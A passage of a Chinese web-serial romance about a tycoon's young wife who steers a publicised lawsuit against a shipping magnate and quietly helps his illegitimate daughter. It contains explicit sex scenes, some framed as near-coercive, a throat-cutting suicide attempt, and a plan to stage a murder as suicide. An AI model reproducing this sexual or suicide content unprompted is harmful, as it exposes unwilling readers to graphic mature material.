与此同时,洛杉矶地界的高楼大厦顶楼会议室内,四周璀璨灯光全暗,极宽的红木长桌前落座着几位坐拥商业帝国的气度矜贵男士,而前方,巨大的荧幕也正清晰地直播着法庭上的画面。 宁商羽就位于其中,修长手指漫不经心把玩着狮首金属钢笔,视线移至林稚水身上,琥珀色的眼底毫不掩饰对她的欣赏。 在座都饶有兴致地旁观这场官司的胜负,裴胤显然要是输了,裴氏被出局,将立即兑现付出的代价会是直接丧失上这张谈判桌竞标港口项目的资格。 而要是宁氏输了…… 旁边,长相中美混血的西装男子看了眼宁商羽。 宁商羽没理他眼神,而此刻,也不止一位对林稚水保持着非常礼貌的欣赏,甚至,有个英俊脸孔上架着一副细框眼镜的德国权贵还低声问起,这个格外被媒体镜头宠爱的美丽神秘东方女孩是谁? 在场会议实际组织者,以同样低声回:“宁商羽的新婚妻子。” 德国权贵这才了然顿悟,难怪这位美丽的女孩能稳坐一群宁氏家族男性成员最中央,显然是代表了宁商羽。 她看起来那么年轻,无数璀璨夺目闪光灯拢在她周身,雪白到近乎透明的脸上只有平静怜悯,没想到,竟有勇气敢跟商业巨擘身份的裴胤公开叫板。 德国权贵继而,态度很绅士地对宁商羽表露出赞美之情,用法语道:“宁先生,你的宁太太很优秀。” 宁商羽两指将金属钢笔压在桌面上,语速不疾不徐,“她叫林稚水。” 不止是宁太太。 第63章 裴胤申请休庭。 这场备受万众瞩目的公开审理案也暂时歇场一段落,各界媒体人潮不息地逐步撤离法院。 外面天色阴晦,电闪雷鸣落下时,林稚水在台阶上立着,肩膀披罩着宽大黑色西装,雪白裙摆又及地,还是那副不染尘埃的悲悯模样。 没等两分钟,裴胤大步流星走了出来,看到她身影,脚步倏地顿住,用粤语说:“小小年纪心思就这么邪性,将来一定是个祸害,难怪这十八年老天要收你,林稚水,往后日子好好活,小心被天收。” 他冷笑,随即正了正歪斜的领带,摆出喜怒难测的威严姿态,迈步下白石阶。 林稚水眼尾静垂,如水的余光扫向身旁的宁濯羽,转瞬又在雨幕里化开了。 宁濯羽会意,骤然半跨一步,狠命踹向裴胤的脊梁。 随着天边又滚过一阵惊雷,裴胤未曾料到宁氏家族敢公然动手,被这股攻击性极强的力度踹得往台阶下犹如密网的重重人群跌摔进去。 一时间,现场死寂起来,是没有语言交流的静寂。 紧接着这群披着显赫光鲜皮囊的西装暴徒演都不演了,双方直接陷入蜂拥似的混战,在媒体面前大打出手,最为狼狈的还是裴胤,他双臂护头,连挨了好几下拳脚重击,浑身的西装都是湿鞋印。 最后膝盖后心不知被哪位狠狠一踹,身躯失衡地栽倒在了雨水里。 裴胤闷哼卡在喉间,愤然抬头。 台阶之上,看到林稚水居高临下地,对他露出一个礼貌的笑。 当晚,裴胤雨中狼狈的特写镜头就被各大国际媒体镜头定格,贴到了头版上反复践踏身为航运商业巨擘的尊严。 这场戏自然是林稚水来主导。 裴胤想抹黑宁氏家族的名誉,就该付出同等代价。 近凌晨的时间点,她还没去洗洗睡下,而是趴在客厅的宽大蓬松沙发上,白皙的小腿翘着,背影慵懒又美丽,正在专注地赏阅着数家报纸。 哪家头版内容写的好,林稚水就记下报社名字,发给宁濯羽,“奖赏!” 宁濯羽已经把她拉入了家族成员的私下微信群,懒洋洋的发来语音:“你这要搁在老爷子那个年代,绝对是个独坐台下,看戏子们演的好,就会把金银财宝一股脑往戏台上丢的败家子儿。” 林稚水手心撑着下巴,用一根手指头摁住屏幕,正要说话。 但群里另一位,宁舒羽就对号入座了似的,应激炸毛道:“谁败家子呢?宁濯羽你说清楚一点,怎么就败家子了?!” 显然,这位小少爷平时没少往外输豪车游艇的,觉得被隔空内涵到了。 那宁濯羽就不嘴上留德了,直接把他年少时为了证明能给家族做贡献,准备大展手脚在服务区投资数万家酒吧的光荣事迹给揭了出来。 后来没实施成,是因但凡名字带羽的,都无法忍受因为宁舒羽的野心……家族名声被他愚蠢无比的商业布局所玷污。 宁濯羽甚至说:“知道他试图在比基尼美女环绕的游泳池里经营我们家族生意的那种绝望吗?他要能干成,在座的都有责任。” 林稚水眼尾弯了又弯,不过她还是要夸一下宁舒羽的:“这次跟裴家的舆论战上舒羽做的就很棒,等你哥哥回家,我帮你讨赏。” 宁舒羽立马说道:“我要进公司项目……” 林稚水撤回了,聊天群的屏幕上干干净净一片,哪有她说的什么话。 小濯司机说的一句话极有道理,家族生意不适合在比基尼……不,游泳池里经营。 林稚水言归正传,继续翻看报纸的头版内容,直到客厅突然传来新动静,她茫然抬起脑袋,才看到是赴洛杉矶谈判的宁商羽竟然提早回来了。 林稚水怔了几秒之后,惊喜到双眼亮盈盈的,立刻从沙发上跑下来,手指拿着报纸要给他看:“我……” 话音还未落地,宁商羽就把她像个洋娃娃似的高高抱起,迈步走得很稳往楼上去。 林稚水心脏骤然缩起,指间的报纸顷刻间散了一地都是,她大脑没反应过来,随着整个人被挂在宁商羽肩臂的姿势,胸前却先感受到从他精贵西装料子透出的熟悉高温。 等沿着长长的华丽楼梯,到了壁灯幽暗的走廊,他的欲,爆发力十足,都等不到回主卧的数步距离,就把她拢在怀里,后背的肩胛骨压在墙壁前。 宁商羽很想她,是那种一分一秒都等不了的那种急迫的想,随后撕扯这身出现在媒体镜头里的白色刺绣长裙,他甚至没耐心褪去别的,扣子崩落,宝石袖扣坠地。 林稚水无辜地睁着一双无比清澈眼睛,有些困惑,完全不知怎么招他了,张唇,想问,又转瞬被属于宁商羽的浓郁冷杉味道给占满。 这刻,她甚至都怀疑宁商羽西装裤是不是鼓起回来的,指尖,下意识想去看他手臂有没有打抑制剂的红点针眼,却在下秒,被他霸道的扣住白皙的手腕,往接近腰腹的肌肉线条摁去:“碰我。” 这人,真是碰哪儿都要由他说了算。 林稚水被自己的心跳声搅的震的,指尖也跟着微微颤抖,没会儿,哪里还顾得上互动,不由自主往他怀里靠,有点吃力,还有点痛似的,“谈判很顺利么?你真的……宁商羽,你真,太兴奋了。” 宁商羽鼻息的热落到她鼻尖上,继而,用亲吻来回应,先是沿着额头将整张脸的轮廓都吻了个遍,又回到那双充满怜悯感的琉璃眼,将自己浓稠又翻涌不息的欲,都沉淀到了她瞳仁里。 “商羽。” 林稚水打起颤,唇齿间开始宁商羽,宁商羽,宁商羽的叫,想叫他理智点,又想叫他中断两分钟,去打一针吧。 去打一针剂! 宁商羽对她带着动听哭腔又求饶撒娇的声音视若无睹,只是极具控制倾向的,手掌扣紧她的腰窝,不允许有任何躲避现象,嘴唇的触感……浑身透露出的冷杉味道都无限放大百倍,近乎是强迫林稚水这具柔弱又纯洁的躯体全部收下。 后半夜的主卧落地窗外飘起细雨,光可照人的玻璃面上沾着星星点点地水滴,湿气像是沿着钻进了闷热的被窝。 林稚水伏着枕头,直到痕迹鲜红的臀可怜兮兮的,不间断地被啪数下,然后突然停了。 几秒后,是宁商羽浑身陡然放松,覆压于在了她整片后背上。 他的青筋狂跳,牵连着稳沉有力的心脏,都清晰地传达给她,林稚水从脑海中意识模糊间眨了一下眼,瞳仁的视线也稍稍清晰了点儿。 白天还端端庄庄的出现在媒体镜头里备受国际无数人瞩目,如隔云端的美人,不可触碰。 谁知,到了夜晚,就像个被礼品盒里拿出的洋娃娃般被他颠来倒去的玩得皱巴巴的。 那浸着几缕汗的乌黑发丝,黏在精致轮廓的脸颊处,睫毛也挂着泪珠儿,还未安静片刻,宁商羽仍不休,又开始来了。 “商羽。”林稚水在被窝里蜷起自己,手心半推半就着,习惯性地将他额前的漆黑短发向后拢,指尖温柔勾描着他走势天生自带冷漠的俊美眉骨,唇齿轻轻含他的字,叫的极娇气。 “林稚水。”宁商羽压低声告诉她,好多水,怎么都流不完? 窗外的细雨忽而转暴雨,又怎么流得玩,林稚水觉得自己都快被浇得瑟瑟发抖,只能往他这儿躲,轻软的音色愈发撒娇起来:“你听我说会话好不好?裴胤今天输我一次,竟然小家子气诅咒我有性命之忧!” 宁商羽原本更凶悍的动作停止,眼底幽深的神色忽变了。 林稚水没注意到他眼神,只是一味跟他告状,喃喃抱怨着:“他还故意揭我痛楚,说老天这十八年都想收我……” 林稚水是早产儿这事不是秘密,她年幼起确实也体质弱到隔三差五的,被送到医院去抢救一番。 等脱离了被抢救风险,身子骨又弱不禁风到出个门都得全身消消毒又测体温的,总之就是能活下来,都已经是菩萨垂怜了。 林稚水告完状就没当回事,又抬起雪白的手臂去搂住宁商羽线条肌肉完美的肩膀,在他耳畔,一肚子坏水的说,她是如何故意等裴胤出来,事先就私下秘密跟宁濯羽商议好,打定主意要当众把他踹下台阶的。 她还买通了几十家媒体的头版位置,冲着裴胤颜面去的。 然而,林稚水眼底的笑意,却没有染到宁商羽身上,她吃惊地问:“你为什么不笑?” 转瞬,她想可能是宁商羽没有看到报纸头版上的照片,无法想象,正要从被窝里爬出来,去楼下找报纸,忍着那股涨得酸的滋味刚动,又被他手臂强势地搂了回去。 宁商羽手掌摸了摸她红润的脸蛋,“下次他再敢对你乱吠叫,我会把他下巴打断。” 他语调听入耳极其沉静,不起一丝波澜,不像是开玩笑的。 林稚水的心脏像是被什么温柔呵护到了,眼尾微弯,也柔而轻的蹭他修长手指,紧接着身体也柔软到了最放松的时刻,依偎着他。 雨停了,电闪雷鸣随之在黑云里彻底隐去。 林稚水在半睡半醒间,宁商羽又折腾了她一回,这次倒是很轻,没有刚回家那股什么都不顾的急迫感,更像是耐心地安抚她。 等天光一亮,林稚水躺在他怀里,被电话铃声吵醒来。 她透红的眼皮都没力气抬起,抓起手机接听:“喂?” 宁濯羽嗓音传来:“陈宝翠自杀了。” …… 裴胤上半场的官司在众目睽睽之下打输了,满腔的怒火在回到裴家后,都冲着面无表情的裴观若去了。 她为什么当场要承认? 裴观若给出的理由是林稚水收集到了蛛丝马迹的证据,而那晚,她如果没给宁惟羽下点药,又怎么能有本事成功实施计划。 这话真真假假,让人辨不清。 气氛陡然诡异的安静起来。 裴文滨欲开口,却被裴观若清清淡淡看了一眼。 他迅速反应过来,要敢透露出开庭前,她可能跟宁氏家族的人私下接触过,自己办事不力也难逃问责,继而,又闭上了嘴。 这时,裴以稀刺绣锦缎的裙摆无声滑过楼梯台阶,走下来时说:“爸爸,我有一计,能助裴家扳回一城。” 裴胤脸色稍沉坐在棕红沙发里,挥开齐纯芝想帮他处理额头伤口的手,看向裴以稀时,才缓和语气:“什么计?” 裴以稀似笑非笑地盯住裴观若,“她死了,不管林稚水多能言善辩,舆论必定倒向我们这边。” 这场官司,宁氏家族多么凿凿有据都越不过一条鲜活的人命重要。 “裴观若在法庭上被林稚水言辞刺激到了本就重度抑郁的情绪,回到家,趁着我们不注意,深夜割喉抢救失败。”裴以稀把新闻标题都想好了,勾了勾唇,又看向裴胤:“爸爸,她敢下手抹黑你在国际上的形象,我们也不能让她清清白白。” 裴观若一死,林稚水绝对会受到公众的质疑。 裴胤拇指摩擦着食指骨节,这是他习惯性思考时的动作。 离得最近的齐纯芝血色,从脸上逐渐消失。 她下意识看向裴观若,见冷冷清清的站在原地跟没什么反应似的,好像主宰的不是她命运。 过两三分钟,裴胤沉声道:“不妥。” 裴以稀皱起眉:“爸爸。” “你姐姐要自尽,林稚水也可以反咬一口说裴家心虚,输了官司就急于毁尸灭迹,逼死亲生女儿。” 裴胤到底是老谋深算的混迹商海多年,淡淡对裴以稀又说: “到时宁氏家族为了平息众怒把宁惟羽逐出族谱,大不了放弃港口,而裴家要是洗不清逼死女儿嫌疑,也一样会下谈判桌,舟隆港口要是丢了,意味着我们航运产业未来要被人收割走不少生意。” 没了宁家竞争,谈判桌上还有虎视眈眈的其他家族盯着。 两败俱伤不是裴胤想看到的局面。 “以稀,你还是年轻了点。”裴胤叹气,话里却听不出责怪的意思。 裴以稀走过去似抱怨:“谁让林稚水太可恨,竟敢公然羞辱爸爸,早知有这么一天,她三岁时,我就应该在宁家趁机会掐死她的,而不是放任这个祸害长大……” 裴观若睫毛静垂的轻抬,无声盯着裴以稀的身影。 裴胤还在耐心地教导裴以稀身为继承人,该如何大格局观的处理生意场的事,浴在客厅冰冷灯光下的众人,都没有注意到外面那扇门后的那抹发抖身影。 是陈宝翠。 她在偷听到裴以稀献计,献的是裴观若这条命后,就彻底对裴家绝望透顶了。 陈宝翠看清了一个事实,她的余生只会被软禁在这个地方,给裴胤用来威胁裴观若,去做一件又一件,她年轻时做过的事。 她还活着,裴观若就无法真正获得自由身。 …… 裴家的动静,宁濯羽早已暗中派人紧紧盯着,所以陈宝翠于后半夜心死如灰的拿了把水果刀在房内割破喉咙后,又及时被三房的人发现送去医院抢救的种种消息……都传到了他手头上。 林稚水呼吸很轻听完,启唇问:“人还在吗?” 宁濯羽在电话里道:“抢救过来了,不过医院被裴胤给全面封锁了,他还请了不少顶级医疗的专家团队进去救人,很看重陈宝翠这条命。” “她是裴观若的亲生母亲。”林稚水垂眼了几秒,心中快速推断道:“裴胤应该就是拿她来威胁裴观若站上原告席指控宁家,所以这场官司没分出胜负之前,他一定会吊着陈宝翠最后一口气。” 也就意味着,裴胤在抢时间,会要求迅速开庭审理。 林稚水吩咐宁濯羽亲自去深城一趟,等挂了电话,她握着手机深呼吸了几秒,才转过身,看向宁商羽那张被天光笼罩的俊美面容。 她轻了声,说:“商羽,怎么办……我有点狠不下心。” 宁商羽对视上她这双仿似清澈水造的琉璃眼,微微屈指,揉着那下方的红痣:“裴观若在裴胤面前暴露软肋的那刻开始,就注定输了。” 野心家不该有软肋。 裴观若这种身份的私生女想在豪门立足,就得人后人后都世故功利,出卖灵魂为自身家族做出贡献,这样能保陈宝翠一个安享晚年。 她不愿。 她想像纯洁的白鸽一样立于利益搭建而成的高楼穹顶,带着另一只年迈的白鸽逃离裴家这个腐烂阴暗地方,那就得面临,被人残忍折断翅膀,成笼中鸟的风险。 除非,她狠心随陈宝翠自生自灭。 …… 暴雨连降三日。 第三日夜晚时,裴观若从深城借宁濯羽的权势庇护,暂时摆脱了裴家的监视,一身狼狈不堪的逃到了泗城地界。 她在雨幕中,跪着敲响了那片深秋季节里被烈焰颜色落羽杉围绕……代表宁氏最高权势的大门。 林稚水已睡,被惊醒后,匆匆披着白色绸缎的睡袍,散着长发下楼。 裴观若还在外面,暖黄色灯光照着她一张格外惨白病态的脸,唯有看到林稚水后,被绝望浸透的瞳孔才有了活气:“稚水……” 林稚水眼眸怔两秒,看她随时要昏过去的状态,弯腰伸手想要扶。 裴观若却紧紧抓住了眼前那雪白的手腕,像是在黑暗里抓住一丝丝机会:“我只有母亲了,我生来什么都没有……连一个名正言顺的身份都没有,只有母亲。” 她的内心冰冷而压抑着痛苦许久,想要生挖出来给别人看,都不知道从哪里开始挖。 裴观若说的话,也是语无伦次着:“裴胤一直把她关在医院,不让我见一面,从抢救回来到现在,我一面都没有见到她,裴胤要我赢这场官司,在下周开庭时翻供,不承认一切宁氏家族律师提供的证据,要赢……才肯让我见她。” “观若,你先冷静。”林稚水声音压着她字里的颤抖,“他不止要你赢对吗?我想,他是借你母亲自杀顺势谋划逼宁家出手,我的立场代表的是宁商羽,但凡帮你,你又控告宁惟羽,裴胤就可以把自己以慈父的伟大形象从头彻尾退场了。” 到时这场备受国际瞩目的官司,就会在裴胤幕后推波助澜下变成宁氏家族内部斗权风波,毕竟一开始,大家最先关注的是: 宁家收购舟隆港口的项目中途换领导者之事。 当时还引发了不少各界的热议,暗中阴谋论这是宁商羽派系和宁惟羽派系之间一场腥风血雨的权力博弈。 林稚水学着宁商羽,站在权力巅峰的云端之上去纵观一切棋局,脑子多琢磨几圈,就很清楚看破生性阴险狡诈的裴胤想走哪步棋了。 他心知肚明下半场官司赢面各参半,准备了两手…… 只要她出面。 裴家就可以提前退场,放出风声是宁家内斗才引发了这场风波。 林稚水分析给在雨幕中被乱了心的裴观若听,也温柔又清醒的点她:“我跟你画廊有交集,这点,足够让裴胤做文章了。” 裴观若双眼完全通红:“你不能出手帮我。” “很抱歉,我出手帮你,就会伴随让宁商羽的商业布局全盘落空的风险,我不能赌。”林稚水的手腕温度也十分冷,唇齿轻轻吐出四个字:“他更重要。” 宁商羽的国际形象至关重要,不能深陷为了内部斗权,让一个名声狼藉的裴家私生女,去控告宁惟羽这种丑闻里。 否则他将来野心勃勃独吞裴家在航运图上的产业时,更会受到外界公众的质疑。 裴观若虚弱又消瘦的身体蓦地僵化在了黑暗里,任由雨水无情泼洒着她的脸和垂散在肩头的长发,也分不清,到底是雨,还是泪水。 半响后。 裴观若像是整个人恍惚完了,又重新抓住了林稚水如同月光般轻柔地一片衣角,“我想见母亲一面,稚水,我不求别的,我只求能在病床前见上一面……见一面。” 林稚水垂眸抿着唇,睫毛在脸颊投出极美的剪影,正静静注视她。 身后,冰冷华美的别墅上方,一面极宽敞的落地窗亮着璀璨水晶灯光,相隔的距离犹如近在咫尺又遥不可及。 宁商羽披着黑丝绒睡袍的高大挺拔身影,就站在巨大的玻璃前,气场锋利又极盛,无声地,在夜色里笼罩着林稚水。 “救救我。” “稚水,你再救我一次……”裴观若仰着头盯着林稚水这张怜悯平静的脸,求到,声线颤抖又绝望:“再救我一次,我会牢牢记住你恩情,稚水,你小时候在宁家那次,你也曾慈悲心肠救过我的……” 宁家?什么时候的事?林稚水眼中茫然了一瞬。 而裴观若已经开始对她磕头,重重地敲在了大理石地上。 这种近乎自毁身体的行为,惊得林稚水无暇去想别的,手心赶紧护住了她,“观若。” 裴观若的额头血丝很快就被雨水冲散,不在乎什么是疼,侧颈的青紫色细筋都爆出来,又充满无助地贴着她柔软的手心: “求你了,稚水……求你再发发慈悲,求你。” “稚水!” “林稚水!!!” 许久后,在裴观若声声压抑着的泣泪下,林稚水唇动了,溢出的声音犹如罩了一层雨幕,又莫名地变得很静,落着地:“观若,宁太太不能救你。” 裴观若僵在原地,眼泪再次涌出来。 随之而来的,是林稚水看了一眼她,音色极轻极轻:“林稚水可以。” 第64章 静谧的雨幕里,林稚水的脸被门口壁灯摇曳的冷光重新勾勒出清晰轮廓,夜愈浓黑如墨,就愈显露出圣洁无暇的一面。 她微微俯身,在裴观若的耳旁轻声低语了许久,才让保镖将人送走。 三分钟后。 林稚水返回到客厅长沙发中央坐下,拿手机拨通了江南地界的林曦光私人电话,请求姐姐出手,动用林家的人脉,帮她在裴家的私人医院安排一个护士进去。 林曦光这边深夜被吵醒,眉眼慵懒地拽过床尾的真丝红色睡袍,披在肩上,说:“只是安排个护士么?” 林稚水静了片刻:“只能安排护士,务必要让裴观若能在私下有机会跟陈宝翠视频六十秒。” 她的立场无法明面上替裴观若,去医院公然抢人。 此时此刻,裴胤一定会安排媒体记者们隐蔽在暗处蹲着守株待兔,只要宁氏家族出手,他就可以借此大做文章。而宁氏家族不出手,他也可以继续拿陈宝翠的命,来要挟裴观若上法庭翻供。 林稚水只能让裴观若撑下去,在这场资本、政治、权力博弈的棋盘夹缝中撑出一线空间活下去。 林曦光近日也没少关注国际新闻,自然是看到自己妹妹的名字,频繁的出现在日报里。听电话里她声音很冷静,没有因为同情心泛滥入了裴胤的陷阱,于是说:“安插一个护士简单,但她姓裴,就注定不是一个无忧无虑的温室花朵,善善,你救她,也要提防她。” 林曦光是典型的继承人思维,林稚水没有受过正儿八经的继承人教育观念,更偏向于情,她心知,也轻声说:“我知道的,裴观若从开始图谋一切都是为了自由,不是为了野心逐利,她今晚冒雨来求我,还说了一句让我费解的话。” “哦?” “再救我一次……稚水,你小时候在宁家那次,你也曾慈悲心肠救过我的。” 林稚水唇齿间字字清晰地重复了裴观若的话。继而,表情陷入了茫然,又问姐姐:“瞳瞳,我什么时候去过宁家?” 林曦光说:“三岁吧。” 林稚水语气微微惊讶:“我怎么不记得了?” 她这小脑袋瓜有记忆开始就惊人的好,所学所见之物无论是过去多少年都不会忘记,怎么缺失这段??? “小孩子禁不住吓,你在宁家后花园被一条狗吓到,回到家做了几夜噩梦就忘了。”林曦光很是轻描淡写过这段往事,指尖懒洋洋的捏起睡袍衣领轻嗅了一下,那股沾染上的清冽松木香很浓郁,她眉心蹙起来,又松开。 林稚水在电话那端看不到姐姐的动作,还在琢磨着这事,又问:“我被狗吓到,这跟救过裴观若有什么关系吗?” “这你要问裴观若了,我赶来时,狂躁的恶狗已经被宁家哪个少爷徒手打死了,只听说你小小一个,先拿导盲杖去打狗的。” 林曦光那时为了躲纠缠不清的秦晚策,刻意绕远了路,才错失目睹现场,等终于找到走丢的妹妹时,林稚水受到了极大惊吓,开始胡言乱语的对她说狗把小哥哥吃掉了。 宁家这场宴席没有发生狗吃人惨案,林曦光当时认为,是林稚水把现实和看过的动画片剧情混淆一起了。 后来,再问起她小哥哥怎么被吃掉的时候。 林稚水忘记了,只会眨着一双瞳仁很大的漂亮琉璃眼,呈出无辜又茫然情绪,似乎听不懂什么意思。 林曦光想,也是,她都盲了怎么看得到? …… 林稚水轻轻唔了声,趴在了羊毛地毯里:“原来我那么小就出过远门去过宁家,瞳瞳,你好能藏话啊,都不告诉我。” “我的好妹妹,这是什么值得挂在嘴上光彩的事吗?”林曦光第一次带妹妹偷偷溜出门就害得她险些有性命之忧,回到港区后,盛明璎虽一句冷声的话都没说,却比狠狠惩治她一顿还要让她难受百倍。 从此之后,林曦光就不敢把小时候像洋娃娃一样的林稚水藏在书包里偷出去了。 而林稚水同时心想,那这一切就有迹可循了,她在宁家“意外”救过裴观若,所以长大后,裴观若对她的忠诚看似没时间基础,却总是不经意间流露出充满感激之情。 她思绪还在琢磨其中细枝末节,而林曦光正欲继续说什么,忽而,被身侧那位,抬起冷如霜雪的修长两指,不紧不慢地扯下了欲坠在肩上的睡袍。 楚天舒。 林曦光眼尾水色潋潋扫过去,而逐渐散开的衣领恰好也露出了大片雪腻胸口处一个很深的微肿齿痕,他曲着指骨,倏然抵了一下她的下巴尖,又沿着脆弱喉骨极美的弧度重新回到齿痕处,轻轻转着圈儿。 无论什么动作,经他的手,都会变得极为矜贵风雅。 林曦光先干脆利落的把手机挂断了,下一秒,直接朝他的腰腹骑上去,声音在暗得让人发昏的垂地床帐内低低说:“楚天舒,你这么爱咬人,下次我给你脖子系个小狗铃铛怎么样?” 林稚水这边,猝不及防被结束通话,怔了怔,殊不知姐姐开始玩骑姐夫小游戏,只当是可能信号不好。 她放下手机,仰脸盯着天花板,过片刻,心绪难平地在羊毛地毯滚了几圈,就当后背险些悬空时,倏地,被一双强而有力的手臂接住。 林稚水感知到宁商羽的滚烫温度,这才慢半拍反应过来,自己迟迟没上楼。 忘了。 随即,她顺势地将身子往近在咫尺的胸膛前扑,那双明瞳点水,倒映着他:“唔,我刚才想你……想的都忘记回房间睡觉了。” 宁商羽俊美锋利的面容俯低,近乎是轻触着她额头:“是么?” 林稚水是想了,想的不过小时候在宁家,也不知有没有跟宁商羽碰过面,她心算,那时两人年龄差七岁,他天之骄子的少爷脾性,估计是……不爱搭理她这个小盲人的。 林稚水有点可惜,因为眼盲,去过宁家,却阴差阳错的没有见过年少时的宁商羽。 从而,她主动抬手攀附着成年版的俊美又体魄充满雄性压迫力的宁商羽,指尖去勾他的黑丝绒睡袍衣带,继而,沿着料子间缝隙如水流进去了。 这里的温度,是远远高于其他的部位,像岩浆火山一样爆发似的,有些撑。 她声音非常轻,呢喃似的:“你生气了吗?” “为什么这么问?”宁商羽右手扣住她纤细手腕,循环渐进地教导着,怎么上下圈动。 林稚水手指内最白嫩的一片皮肤都感觉到摩擦带来的烫意,顷刻间,就轻易变红了,然而,她躲不了这股温度,抿了抿舌尖说:“我想救裴观若,她如果听我的,只要等你开始收购裴家生意链的港口,她就是弃棋……裴胤顾着保全家族产业,哪有空管她和陈宝翠死活。” “这场官司一结束。”林稚水呼吸屏住几秒,心脏跟着他的青筋而狂跳,声音愈轻:“我想,再以老宅的名义处置了她。” 林稚水想把沦为弃棋的裴观若改头换面,先送到国外秘密待几年,等裴胤彻底倒台,裴家的权势不足为惧后,再让她换一个身份回到泗城开画廊,为宁氏家族效力,作为回报。 而裴观若,对于高坐谈判桌上的野心家们而言,只是这场疾风暴雨中的一滴,微不足道的雨水而已。 林稚水却天真的想力保她,这无疑是很容易惹怒宁商羽的。 “你会生我的气吗?”林稚水的手拿不出来,清晰地感觉到他指骨力道很大,便仰起脑袋,不停地呢喃着:“商羽。” 宁商羽偏偏不亲她,却捏得她白皙腕间泛了红,意味深长地说:“我要生气了,你该怎么哄?” 林稚水眸光像蜻蜓点水般沿着他眉骨到高挺的鼻梁,最后,唇微微张开,轻轻吐字:“这张脸瞧着好凶啊,我哄不了……不哄了。” 说着膝盖就软,往后仰在了蓬松舒适的沙发上,也顺势得逞把宁商羽给拉了下来。 两人白色的睡袍和黑丝绒睡袍倏地重叠在了一起,窗外的雨停了,窗内的雨还在下,才躺片刻,林稚水感觉后背似乎起了层薄薄的汗,黏呼呼的,眼尾颤着的视线瞥向膝盖里的方向。 是宁商羽。 他的手依旧扣紧她,只不过从手腕换成了脚踝,冷白色调的手背绷起修长凌厉的筋骨线条,看起来性感至极。 林稚水被他鼻梁游刃有余弄着,透亮的漆黑眼珠逐渐的蒙了一层水雾。 脑海中的意识恍惚间,她依稀记起从宁商羽身上所学到的知识,落羽杉是依水而生,要用世界上最清澈干净的湖泊去浇透了它粗壮的根部,才能更充满生命力的生长。 林稚水一想到这些,瞳仁犹如波光粼粼的涟漪散开,不会眨眼了。 上半夜的时间,从客厅到主卧,封闭又幽暗的环境里弥漫着冷杉味道,浓郁到近乎散不开的程度。 宁商羽被她浇透了几回,倏地抬首时,看到林稚水发红的脸颊贴着枕头上轻轻颤抖,睫毛半垂,也不知道在想什么。 过几秒,慢吞吞地抬起手腕,借床头壁灯下泛着溢彩的光,对墙壁,纤细的手指尖灵动的比划了一个小白鸽飞翔的手势。 林稚水的这只雪白雪白的小白鸽,像是活过来一样。 直直地,往宁商羽胸膛撞,激得他眼神幽深了几度,再次,埋在了膝盖里。 …… 折返回深城,天光微亮。 裴观若一脚踏进裴家老宅时,不知悬梁上哪儿来的白鸽飞来躲雨,许是被她吓到,又扑着翅膀掠过视野朝上空飞走了。 裴观若裙下的脚步只是微顿了半秒,继而,在寂静的环境中回响,一步又一步地,毫不犹豫朝宅院最深处走去。 她心变得静下来,林稚水在雨夜里说的话从始至终都停在耳边未散。 “观若,我不能安排你进医院见你母亲一面,这样会彻底惊动裴胤,但林家可以安排一个护士进去,争取帮你每天获得六十秒的时间跟她能有机会视频。” “你想不再受制于裴家,这场官司,就得拖,把庭审时间拖延长一点……把这个冬天熬过去,只要熬到案子结束,裴胤会有他应得的下场。” “到时你跟宁惟羽之间的私人恩怨自己了结,我能为你做的,只有保证宁家老宅那边的人不会找你清算。” 林稚水无法清楚的告诉她,港口的项目收购,裴胤是注定争不到的……他处心积虑想毁宁惟羽的名誉来拉下宁氏家族一起陷入这桩被国际关注的艳色丑闻里,也注定无用功。 她更不能透露,宁商羽从始至终都准备以个人巨额财富收购,而不是家族名义。 她只能暗示裴观若千千万万要撑住了……撑过去,等宁商羽开始手段强硬激进的一系列施行收购计划时,裴胤对家族产业的危机如果嗅觉敏锐话,就能回过味来。 宁惟羽也是一枚摆在明面上的棋子。 在宁商羽的宏图大业天秤上,这位与他多年来分庭抗礼的弟弟毫无重量。 林稚水只能告诉裴观若一点,宁氏家族会找裴胤索取高昂代价的。 …… 裴观若犹记于耳,不敢忘,这些话是她这副躯壳内摇摇欲坠的灵魂唯一支撑点。 从回到裴家老宅的每一刻开始,她就在演,表面上绝对服从,等到了开庭时,她便跟林稚水眼神打配合。 不是宁氏家族接二连三地出现新的证人,就是她突然改口供,像是精神恍惚的想起一些被强的新线索之类。 因此,每次审理时,都会在各大媒体界激起了更大的舆论水花。 裴胤鞭罚她也没用,威胁要断掉陈宝翠的药也没用。 裴观若心知林稚水是不会骗她的,每晚六十秒,她真真切切从手机通话视频里,看到了母亲瘦骨嶙峋的身体躺在雪白病床上,哪怕一直都在昏迷状态里,至少是有呼吸的。 明天,又是一场国际瞩目的开庭战要打。 林稚水夜深人静时分,还在书房整理着资料,这次轮到她提供新的证据,而她,准备让一直稳坐被告席上当看戏的宁惟羽也推翻下自己口供。 林稚水握着钢笔在纸上心无旁骛写个半天,白皙的指尖,不小心沾了两滴墨水。 正要拿纸巾擦拭,恰好宁商羽径直走进来,已然洗好澡,披着敞开的宽大浴袍,视线扫过她那点儿字:“还不睡么?” 林稚水在给宁惟羽国际形象的人设添砖添瓦呢,哪有空睡觉,小嘴巴自动撒着娇,敷衍的说:“你干嘛催人家……人家很忙。” 宁商羽俯身,热息顷刻间就落在了她耳畔:“想舔你,不让催么?” 林稚水指尖一僵,空气弥漫着淡淡的墨水气味,微侧过脸,卷翘的睫毛下,瞳仁无辜又有点儿害羞的倒映着他逐渐挨近的俊美脸庞。 那高挺的鼻梁透着体温,暗示性地蹭着她鼻尖。 林稚水最近几日都被他伺候的很到位,一开始,她懵懵懂懂的也不知道为什么会浇出那么多,后来,宁商羽极具耐心的继续教育她生理学方面的知识。 用专业名词说: 这叫潮—— 喷。 不仅林稚水喜欢,宁商羽也很喜欢,跟有瘾似的,一边打着抑制剂,还加量到了三针程度,一边又在夜晚这样弄她。 关键是,威武雄壮的“小老公”要原地爆炸了都没让上场。 林稚水第二天才能正常走路,继续一副古典端庄的美丽模样出现在媒体镜头里。 她稍作思考,指尖点了点宁商羽弧度生得极好的鼻梁:“我感觉到小老公最近受到了一丢丢委屈……今天也该轮到它了,你还是退下吧。” 第65章 抑制剂到底是药,林稚水不愿意看他一次性用量太多,而那款新研发的药剂是可以单方面屏蔽他这具身躯一个月的充沛精力,但是等三倍爆发时,她弱小无助的小身板就要遭大罪了。 宁商羽也心知肚明三倍爆发力太强悍,就没有再启用过新型药剂了。 